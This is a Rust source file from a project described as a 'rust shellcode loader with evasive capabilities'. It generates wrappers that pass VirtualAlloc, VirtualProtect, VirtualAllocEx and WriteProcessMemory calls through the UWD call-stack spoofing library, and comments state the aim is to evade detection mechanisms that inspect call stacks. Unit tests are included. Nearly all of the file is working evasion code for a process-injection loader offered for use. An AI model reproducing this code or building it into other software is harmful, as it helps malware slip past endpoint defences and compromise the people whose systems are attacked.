myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
callstack_spoofing.rs (5969B)
1 /// Generate UWD call stack spoofing wrapper code for Windows APIs 2 /// 3 /// This module provides code generation for wrapping Windows API calls with 4 /// UWD's call stack spoofing functionality. When enabled, API calls will have 5 /// forged call stacks that appear to originate from legitimate system components. 6 /// Generate imports needed for UWD call stack spoofing 7 pub fn generate_uwd_imports() -> String { 8 r#"use uwd::{spoof, syscall};"#.to_string() 9 } 10 11 /// Generate wrapper function that uses UWD to spoof VirtualAlloc calls 12 pub fn generate_spoofed_virtual_alloc() -> &'static str { 13 r#" 14 /// Wrapper for VirtualAlloc with call stack spoofing 15 unsafe fn virtual_alloc_spoofed( 16 address: *mut c_void, 17 size: usize, 18 allocation_type: u32, 19 protect: u32, 20 ) -> *mut c_void { 21 let result = spoof!( 22 VirtualAlloc, 23 address, 24 size, 25 allocation_type, 26 protect 27 ); 28 29 match result { 30 Ok(addr) => addr as *mut c_void, 31 Err(_) => std::ptr::null_mut(), 32 } 33 } 34 "# 35 } 36 37 /// Generate wrapper for VirtualProtect with call stack spoofing 38 pub fn generate_spoofed_virtual_protect() -> &'static str { 39 r#" 40 /// Wrapper for VirtualProtect with call stack spoofing 41 unsafe fn virtual_protect_spoofed( 42 lp_address: *mut c_void, 43 dw_size: usize, 44 fl_new_protect: u32, 45 lpfl_old_protect: *mut u32, 46 ) -> i32 { 47 let result = spoof!( 48 VirtualProtect, 49 lp_address, 50 dw_size, 51 fl_new_protect, 52 lpfl_old_protect 53 ); 54 55 match result { 56 Ok(ret) => ret as i32, 57 Err(_) => 0, 58 } 59 } 60 "# 61 } 62 63 /// Generate wrapper for VirtualAllocEx with call stack spoofing 64 pub fn generate_spoofed_virtual_alloc_ex() -> &'static str { 65 r#" 66 /// Wrapper for VirtualAllocEx with call stack spoofing 67 unsafe fn virtual_alloc_ex_spoofed( 68 process: *mut c_void, 69 address: *const c_void, 70 size: usize, 71 allocation_type: u32, 72 protect: u32, 73 ) -> *mut c_void { 74 let result = spoof!( 75 VirtualAllocEx, 76 process, 77 address, 78 size, 79 allocation_type, 80 protect 81 ); 82 83 match result { 84 Ok(addr) => addr as *mut c_void, 85 Err(_) => std::ptr::null_mut(), 86 } 87 } 88 "# 89 } 90 91 /// Generate wrapper for WriteProcessMemory with call stack spoofing 92 pub fn generate_spoofed_write_process_memory() -> &'static str { 93 r#" 94 /// Wrapper for WriteProcessMemory with call stack spoofing 95 unsafe fn write_process_memory_spoofed( 96 process: *mut c_void, 97 base_address: *const c_void, 98 buffer: *const c_void, 99 size: usize, 100 number_of_bytes_written: *mut usize, 101 ) -> i32 { 102 let result = spoof!( 103 WriteProcessMemory, 104 process, 105 base_address, 106 buffer, 107 size, 108 number_of_bytes_written 109 ); 110 111 match result { 112 Ok(ret) => ret as i32, 113 Err(_) => 0, 114 } 115 } 116 "# 117 } 118 119 /// Generate comment explaining UWD integration 120 pub fn generate_uwd_info_comment() -> &'static str { 121 r#" 122 // ============================================================================ 123 // Call Stack Spoofing with UWD 124 // ============================================================================ 125 // This binary uses the UWD library to spoof call stacks when making Windows 126 // API calls. This makes the execution appear as if it's coming from legitimate 127 // system components, evading detection mechanisms that inspect call stacks. 128 // 129 // UWD Repository: https://github.com/joaoviictorti/uwd 130 // ============================================================================ 131 "# 132 } 133 134 /// Generate complete UWD wrapper module for inclusion in generated code 135 pub fn generate_uwd_wrapper_module() -> String { 136 format!( 137 r#"{} 138 {} 139 140 use std::ffi::c_void; 141 142 // Import Windows API functions that will be spoofed 143 #[link(name = "kernel32")] 144 extern "system" {{ 145 fn VirtualAlloc( 146 address: *mut c_void, 147 size: usize, 148 allocation_type: u32, 149 protect: u32, 150 ) -> *mut c_void; 151 152 fn VirtualProtect( 153 lp_address: *mut c_void, 154 dw_size: usize, 155 fl_new_protect: u32, 156 lpfl_old_protect: *mut u32, 157 ) -> i32; 158 159 fn VirtualAllocEx( 160 process: *mut c_void, 161 address: *const c_void, 162 size: usize, 163 allocation_type: u32, 164 protect: u32, 165 ) -> *mut c_void; 166 167 fn WriteProcessMemory( 168 process: *mut c_void, 169 base_address: *const c_void, 170 buffer: *const c_void, 171 size: usize, 172 number_of_bytes_written: *mut usize, 173 ) -> i32; 174 }} 175 176 {} 177 {} 178 {} 179 {} 180 "#, 181 generate_uwd_info_comment(), 182 generate_uwd_imports(), 183 generate_spoofed_virtual_alloc(), 184 generate_spoofed_virtual_protect(), 185 generate_spoofed_virtual_alloc_ex(), 186 generate_spoofed_write_process_memory() 187 ) 188 } 189 190 #[cfg(test)] 191 mod tests { 192 use super::*; 193 194 #[test] 195 fn test_generate_uwd_imports() { 196 let imports = generate_uwd_imports(); 197 assert!(imports.contains("use uwd")); 198 assert!(imports.contains("spoof")); 199 assert!(imports.contains("syscall")); 200 } 201 202 #[test] 203 fn test_generate_spoofed_virtual_alloc() { 204 let code = generate_spoofed_virtual_alloc(); 205 assert!(code.contains("virtual_alloc_spoofed")); 206 assert!(code.contains("spoof!")); 207 assert!(code.contains("VirtualAlloc")); 208 } 209 210 #[test] 211 fn test_generate_spoofed_virtual_protect() { 212 let code = generate_spoofed_virtual_protect(); 213 assert!(code.contains("virtual_protect_spoofed")); 214 assert!(code.contains("spoof!")); 215 assert!(code.contains("VirtualProtect")); 216 } 217 218 #[test] 219 fn test_generate_uwd_wrapper_module() { 220 let module = generate_uwd_wrapper_module(); 221 assert!(module.contains("use uwd")); 222 assert!(module.contains("virtual_alloc_spoofed")); 223 assert!(module.contains("virtual_protect_spoofed")); 224 assert!(module.contains("Call Stack Spoofing")); 225 } 226 }